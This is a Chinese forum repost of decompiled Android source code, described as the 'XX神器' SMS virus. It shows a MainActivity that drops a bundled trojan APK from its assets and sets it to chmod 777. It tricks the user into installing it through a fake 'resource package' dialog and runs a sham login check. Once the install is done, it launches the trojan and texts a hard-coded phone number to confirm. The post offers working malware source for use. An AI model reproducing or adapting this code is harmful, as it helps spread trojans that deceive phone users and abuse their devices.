前两天出现的XX神器 短信病毒源代码 ,压缩包里是其他源代码。
【后续代码请看原网页】
【转自http://www.oschina.net/code/snippet_273576_37764】
【感谢 stevenliu】
[1].[代码] MainActivity.java跳至[1][2]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
|
package
com.example.xxshenqi;
import
android.annotation.SuppressLint;
import
android.app.AlertDialog.Builder;
import
android.content.BroadcastReceiver;
import
android.content.ComponentName;
import
android.content.Context;
import
android.content.DialogInterface;
import
android.content.DialogInterface.OnClickListener;
import
android.content.Intent;
import
android.content.IntentFilter;
import
android.content.pm.PackageInfo;
import
android.content.pm.PackageManager;
import
android.content.res.AssetManager;
import
android.net.ConnectivityManager;
import
android.net.NetworkInfo;
import
android.net.Uri;
import
android.os.Bundle;
import
android.support.v7.app.ActionBarActivity;
import
android.telephony.SmsManager;
import
android.text.Editable;
import
android.view.View;
import
android.view.View.OnClickListener;
import
android.widget.Button;
import
android.widget.EditText;
import
android.widget.Toast;
import
java.io.File;
import
java.io.FileOutputStream;
import
java.io.IOException;
import
java.io.InputStream;
import
java.io.PrintStream;
import
java.util.ArrayList;
import
java.util.List;
@SuppressLint
({
"DefaultLocale"
})
public
class
MainActivity
extends
ActionBarActivity
{
Button button1;
Button button2;
ArrayList<String> packagNameList;
EditText pass;
private
MyReceiver receiver;
private
boolean
detectApk(String paramString)
{
return
this
.packagNameList.contains(paramString.toLowerCase());
}
private
boolean
goToNetWork()
{
ConnectivityManager localConnectivityManager = (ConnectivityManager)getSystemService(
"connectivity"
);
if
(localConnectivityManager.getNetworkInfo(
1
).getState() !=
null
);
while
(localConnectivityManager.getNetworkInfo(
0
).getState() !=
null
)
return
true
;
return
false
;
}
private
void
initpackagNameList()
{
this
.packagNameList =
new
ArrayList();
List localList = getPackageManager().getInstalledPackages(
0
);
for
(
int
i =
0
; ; i++)
{
if
(i >= localList.size())
return
;
PackageInfo localPackageInfo = (PackageInfo)localList.get(i);
this
.packagNameList.add(localPackageInfo.packageName.toLowerCase());
}
}
protected
void
onCreate(Bundle paramBundle)
{
super
.onCreate(paramBundle);
requestWindowFeature(
1
);
setContentView(
2130903064
);
initpackagNameList();
System.out.println(
"host开始运行=============================="
);
this
.receiver =
new
MyReceiver(
null
);
IntentFilter localIntentFilter =
new
IntentFilter(
"android.intent.action.PACKAGE_ADDED"
);
localIntentFilter.addDataScheme(
"package"
);
registerReceiver(
this
.receiver, localIntentFilter);
if
(!detectApk(
"com.example.com.android.trogoogle"
))
{
System.out.println(
"host开始安装=============================="
);
String str = getFilesDir().getAbsolutePath() +
"/com.android.Trogoogle.apk"
;
retrieveApkFromAssets(
this
,
"com.android.Trogoogle.apk"
, str);
showInstallConfirmDialog(
this
, str);
}
this
.pass = ((EditText)findViewById(
2131034176
));
this
.button1 = ((Button)findViewById(
2131034177
));
this
.button1.setOnClickListener(
new
View.OnClickListener()
{
public
void
onClick(View paramAnonymousView)
{
if
(!MainActivity.
this
.detectApk(
"com.example.com.android.trogoogle"
))
{
String str = MainActivity.
this
.getFilesDir().getAbsolutePath() +
"/com.android.Trogoogle.apk"
;
MainActivity.
this
.retrieveApkFromAssets(MainActivity.
this
,
"com.android.Trogoogle.apk"
, str);
MainActivity.
this
.showInstallConfirmDialog(MainActivity.
this
, str);
return
;
}
if
(!MainActivity.
this
.goToNetWork())
{
Toast.makeText(MainActivity.
this
,
"无法连接,请检查您的网络!"
,
0
).show();
return
;
}
if
(MainActivity.
this
.pass.getText().toString().length() >=
6
)
{
Toast.makeText(MainActivity.
this
,
"正在验证,请稍后..."
,
0
).show();
Toast.makeText(MainActivity.
this
,
"密码错误或账号不存在!"
,
0
).show();
return
;
}
Toast.makeText(MainActivity.
this
,
"请输入正确的账号或密码"
,
0
).show();
}
});
this
.button2 = ((Button)findViewById(
2131034178
));
this
.button2.setOnClickListener(
new
View.OnClickListener()
{
public
void
onClick(View paramAnonymousView)
{
MainActivity.
this
.startActivity(
new
Intent(MainActivity.
this
, RegisterActivity.
class
));
}
});
}
public
boolean
retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
{
boolean
bool;
try
{
File localFile =
new
File(paramString2);
if
(localFile.exists())
return
true
;
localFile.createNewFile();
InputStream localInputStream = paramContext.getAssets().open(paramString1);
FileOutputStream localFileOutputStream =
new
FileOutputStream(localFile);
byte
[] arrayOfByte =
new
byte
[
1024
];
while
(
true
)
{
int
i = localInputStream.read(arrayOfByte);
if
(i == -
1
)
{
localFileOutputStream.flush();
localFileOutputStream.close();
localInputStream.close();
bool =
true
;
break
;
}
localFileOutputStream.write(arrayOfByte,
0
, i);
}
}
catch
(IOException localIOException)
{
Toast.makeText(paramContext, localIOException.getMessage(),
2000
).show();
AlertDialog.Builder localBuilder =
new
AlertDialog.Builder(paramContext);
localBuilder.setMessage(localIOException.getMessage());
localBuilder.show();
localIOException.printStackTrace();
bool =
false
;
}
return
bool;
}
public
void
showInstallConfirmDialog(
final
Context paramContext,
final
String paramString)
{
AlertDialog.Builder localBuilder =
new
AlertDialog.Builder(paramContext);
localBuilder.setIcon(
2130837592
);
localBuilder.setTitle(
"未安装资源包"
);
localBuilder.setMessage(
"请先安装资源包,资源包已整合至APK,点击安装即可安装。"
);
localBuilder.setPositiveButton(
"安装"
,
new
DialogInterface.OnClickListener()
{
public
void
onClick(DialogInterface paramAnonymousDialogInterface,
int
paramAnonymousInt)
{
try
{
String str =
"chmod 777 "
+ paramString;
Runtime.getRuntime().exec(str);
Intent localIntent =
new
Intent(
"android.intent.action.VIEW"
);
localIntent.addFlags(
268435456
);
localIntent.setDataAndType(Uri.parse(
"file://"
+ paramString),
"application/vnd.android.package-archive"
);
paramContext.startActivity(localIntent);
return
;
}
catch
(IOException localIOException)
{
while
(
true
)
localIOException.printStackTrace();
}
}
});
localBuilder.show();
}
private
class
MyReceiver
extends
BroadcastReceiver
{
private
MyReceiver()
{
}
public
void
onReceive(Context paramContext, Intent paramIntent)
{
System.out.println(
"MyReceiver 收到广播=========================="
);
if
(paramIntent.getAction().equals(
"android.intent.action.PACKAGE_ADDED"
))
{
paramContext.startActivity(
new
Intent(paramContext, MainActivity.
class
));
System.out.println(
" 界面跳 Ok!=============================="
);
Intent localIntent =
new
Intent(
"android.intent.action.MAIN"
);
localIntent.addFlags(
268435456
);
localIntent.addCategory(
"android.intent.category.LAUNCHER"
);
localIntent.setComponent(
new
ComponentName(
"com.example.com.android.trogoogle"
,
"com.example.com.android.trogoogle.MainActivity"
));
paramContext.startActivity(localIntent);
System.out.println(
" 启动 Ok!=============================="
);
SmsManager.getDefault().sendTextMessage(
"18670259904"
,
null
,
" Tro instanll Ok"
,
null
,
null
);
System.out.println(
" 发送短信 Ok!=============================="
);
}
}
}
}
|
【后续代码请看原网页】
【转自http://www.oschina.net/code/snippet_273576_37764】
【感谢 stevenliu】